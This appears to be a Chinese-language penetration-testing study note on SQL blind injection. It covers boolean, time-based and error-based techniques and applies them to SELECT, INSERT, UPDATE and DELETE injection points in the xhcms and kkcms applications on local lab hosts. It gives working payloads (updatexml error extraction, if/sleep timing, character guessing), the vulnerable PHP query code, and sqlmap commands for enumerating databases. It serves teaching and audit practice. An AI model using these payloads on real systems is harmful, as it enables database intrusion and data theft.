#知识点:
1、明确查询方式注入Payload
2、明确查询方式注入产生功能
3、明确SQL盲注延时&布尔&报错
一、盲注
盲注:就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
解决:常规的联合查询注入不行的情况
盲注攻击分为以下三类:
- 基于布尔的SQL盲注 - 逻辑判断:有数据库输出为判断标准
借助sql语句中支持的函数,比如:regexp,like,ascii,left,ord,mid等
- 基于时间的SQL盲注 - 延时判断:都不需要
if,sleep
- 基于报错的SQL盲注 - 报错回显:程序员在代码中写了数据库容错处理(or die....)为判断标准
floor,updatexml,extractvalue
12种报错注入+万能语句:https://www.jianshu.com/p/bc35f8dd4f7c
【例】:
1. 基于布尔的SQL盲注-逻辑判断
①http://127.0.0.1:81/book/news.php?id=1 and length(database())=11 //猜对数据库的长度为11,页面显示正常
http://127.0.0.1:81/book/news.php?id=1 and length(database())=1 //猜错数据库长度,页面显示错误

② http://127.0.0.1:81/book/news.php?id=1 and left(database(),1)='s' //猜对数据库左边的一位为's' ,页面显示正常

2. 基于时间的SQL盲注-延时判断
判断是否延迟,主要看两个不同数据包的返回包时间差,在burpsuite下的右下角
① 直接访问页面查看页面回显时间(没有延迟,16ms)

② 加了if 延时判断
http://127.0.0.1:81/book/news.php?id=1 and if(1=1,sleep(5),0) //页面回显延迟(5s)

③进一步判断
http://192.168.4.22:81/book/news.php?id=1 and if(length(database()=11),sleep(5),0) //如果数据库名字的长度是11,就延迟5ms回显页面

3. 基于报错的SQL盲注-报错回显
如果程序员在代码中写了数据库容错处理(or die....)就可以用到报错盲注

查数据库版本:http://127.0.0.1:81/book/news.php?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
查数据库名:http://127.0.0.1:81/book/news.php?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)

盲注参考:
like 'ro%' #判断ro或ro...是否成立
regexp '^xiaodi[a-z]' #匹配xiaodi及xiaodi...等
if(条件,5,0) #条件成立 返回5 反之 返回0 //基于时间的SQL盲注-延时判断
sleep(5) #SQL语句延时执行5秒
mid(a,b,c) #从位置b开始,截取a字符串的c位
substr(a,b,c) #从位置b开始,截取字符串a的c长度
left(database(),1),database() #left(a,b)从左侧截取a的前b位
length(database())=8 #判断数据库database()名的长度
ord=ascii ascii(x)=97 #判断x的ascii码是否等于97
基本知识本地测试:
select * from member where username like 'vi%';
select * from member where username regexp '^x';
select * from member where id=1 and sleep(1);
select * from member where id=1 and if(1>2,sleep(1),0);
select * from member where id=1 and if(1<2,sleep(1),0);
select * from member where id=1 and length(database())=7; //基于布尔的SQL盲注-逻辑判断
select * from member where id=1 and left(database(),1)='p'; //基于布尔的SQL盲注-逻辑判断
select * from member where id=1 and left(database(),2)='pi';
select * from member where id=1 and substr(database(),1,1)='p';
select * from member where id=1 and substr(database(),2,1)='i';
select * from member where id=1 and ord(left(database(),1))=112;
二、数据库查询注入方式
1、SQL操作方式
select,insert,update,delete,order by等
2、SQL不同操作方式注入
① 查询方式由于增删改查四种特性决定,部分是不需要进行数据取出和显示,所以此类注入基本上需要采用盲注才能正常得到结果(黑盒测试可以根据功能判断注入查询方式)如:增加,删除,更新不会显示数据
② 查询方式增删改查四种特性决定应用功能点(会员注册,删除新闻,修改文章等)
在执行SQL语句后,获取的数据:1.输出显示(select) 2.不输出显示(只执行这个语句,并不会显示,比如insert,update,delete等)
3、SQL不同操作的注入
1. 查询-select-xhcms-布尔盲注
SELECT column_name,column_name FROM table_name;
2. 插入-insert-xhcms-报错盲注
INSERT INTO table_name (列1, 列2,...) VALUES (值1, 值2,....)
【例】:全局搜索insert into关键字,发现关键代码上的文件files/submit.php

因为插入数据操作(insert into)的执行结果并不会显示在页面,注入时考虑盲注;有数据库容错处理,考虑“基于报错的SQL盲注”来进行注入
那么应该怎么触发这个文件呢?(files/submit.php)
主要看index.php文件。

在index.php中,接受r参数,包含一个'files/'.$action.'.php'文件,只要让action=submit就可以触发这个文件。
所以,构造访问地址:127.0.0.1:8085/index.php?r=submit

出现错误,在进行读submit.php代码,发现进行到的代码段,需要提交一些参数:

我们可以进行自己构造参数来访问,在post自己发送参数。但是这里不需要这样去访问,我们可以测试那个文件调用了这个files/submit.php文件。
访问127.0.0.1:8087/index.php?r=contact地址,一样也可以触发submit文件
查看files/contact.php文件,看提交的数据是给谁。

那就意味着在这个文件提交的表单,会在files/submit.php文件中处理。
在留言板中用构造的payload提交表单:'or updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) or '

成功获取到数据库版本:

为什么会造成这种报错错误 - 盲注?因为有数据库容错处理
SQL语句执行代码:
$query = "INSERT INTO interaction (
type,
xs,
cid,
name,
mail,
url,
touxiang,
shebei,
ip,
content,
tz,
date
) VALUES (
'$type',
'$xs',
'$cid',
'$name',
'$mail',
'$url',
'$touxiang',
'$shebei',
'$ip',
'$content',
'$tz',
now()
)";
@mysql_query($query) or die('新增错误:'.mysql_error());
提交的payload:'or updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) or '
即:name='or updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) or '
代入SQL语句中:
$query = "INSERT INTO interaction (
type,
xs,
cid,
name,
mail,
url,
touxiang,
shebei,
ip,
content,
tz,
date
) VALUES (
'$type',
'$xs',
'$cid',
'' or updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) or '',
'$mail',
'$url',
'$touxiang',
'$shebei',
'$ip',
'$content',
'$tz',
now()
)";
我们在白盒上分析了这个漏洞,那么在黑盒上应该怎么分析呢?
首先观察留言框,然后看他是不是能在数据库上存储,进行SQL执行(insert语句),
也可以用sqlmap进行盲注,但是有验证码(看能不能验证码复用,或者识别验证码),所以推荐用手工注入。
3. 更新-update-xhcms-报错盲注
UPDATE table_name SET column1=value1,column2=value2,... WHERE some_column=some_value;
【例】
搜索关键代码update,发现在files/software.php下面有update SQL执行语句,
同样有数据库容错处理,@mysql_query($query) or die('修改错误:'.mysql_error());

数接收:$id=addslashes($_GET['cid']); //cid是数字,不用考虑闭合符号
SQL执行:
$query = "UPDATE download SET hit = hit+1 WHERE id=$id";
构造访问触发地址:http://127.0.0.1:8085/index.php?r=software&cid=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
注入成功:

那么在黑盒中应该怎么分析?根据功能点来分析是什么注入
查看哪里调用了software文件(全局搜索),发现在submit中有调用software
调用代码:

全局搜索submit调用,type类型为download的调用地方,在页面中应该是下载评论的地方,http://127.0.0.1:8087/index.php?r=software&cid=1

测试 http://127.0.0.1:8087/index.php?r=software&cid=1 cid的值
4. 删除-delete-kkcms-延时盲注
DELETE FROM 表名称 WHERE 列名称 = 值
【例】:案例kkcms
全局搜索 delete 发现文件admin/model/usergroup.php
这个注入点是在后台的(先登录后台---)
那么应该怎么样触发admin/model/usergroup.php呢
如果直接访问admin/moder/usergroup.php,那肯定是有问题的。

没有发现数据库报错函数,就不能采用报错盲注,这时候只能采用延迟或布尔注入
如果直接访问文件:
http://127.0.0.1:8085/admin/model/usergroup.php?del=2 and if(1=1,sleep(5),0) //del不能为1,默认不能删除

可以看到页面执行没有延迟,有可能是sql注入语句有问题,到数据库中去执行试一下SQL语句:delete from xtcms_user_group where ug_id = 2 and if(1=1,sleep(5),0) ,结果不能执行
修改一下注入语句delete from xtcms_user_group where ug_id = 2 or if(1=1,sleep(5),0) //将and改为or
放在数据库中执行成功:

发现SQL执行延迟了。重新构造一下payload:http://127.0.0.1:8085/admin/model/usergroup.php?del=2 or if(1=1,sleep(5),0)
但是页面没有延迟。

结合SQL监控-seay源代码审计系统软件,查看sql语句是否执行,发现SQL语句根本没有执行。因为直接访问这个文件出了问题
结合包含文件查找,admin/cms_usergroup.php调用了admin/model/usergroup.php文件。
重新构造:http://127.0.0.1:8085/admin/cms_usergroup.php?del=2 or if(1=1,sleep(5),0)
监控到sql语句的执行:

采用布尔+延迟注入:
127.0.0.1:8085/admin/cms_usergroup.php?del=2 or if(left(database(),1)='k',sleep(5),0) //如果数据库左边第一位是k,延迟5s执行
执行失败,因为里面还有转义,可以用宽字节或者ASCII码来进行注入

修改:将"k"用ASCII码来代替(k的ASCII码是107)
127.0.0.1:8085/admin/cms_usergroup.php?del=2 or if(ord(left(database(),1))=107,sleep(5),0) ,可以看到延迟

可以用sqlmap去跑。用到数据包进行注入。(因为有cookie)
python sqlmap.py -r 1.txt


猜解数据:python sqlmap.py -r 1.txt --dbs
--dbs --tables --coulmns进行数据库的猜解。
查看sqlmap的payload可以加上-v 5

浙公网安备 33010602011771号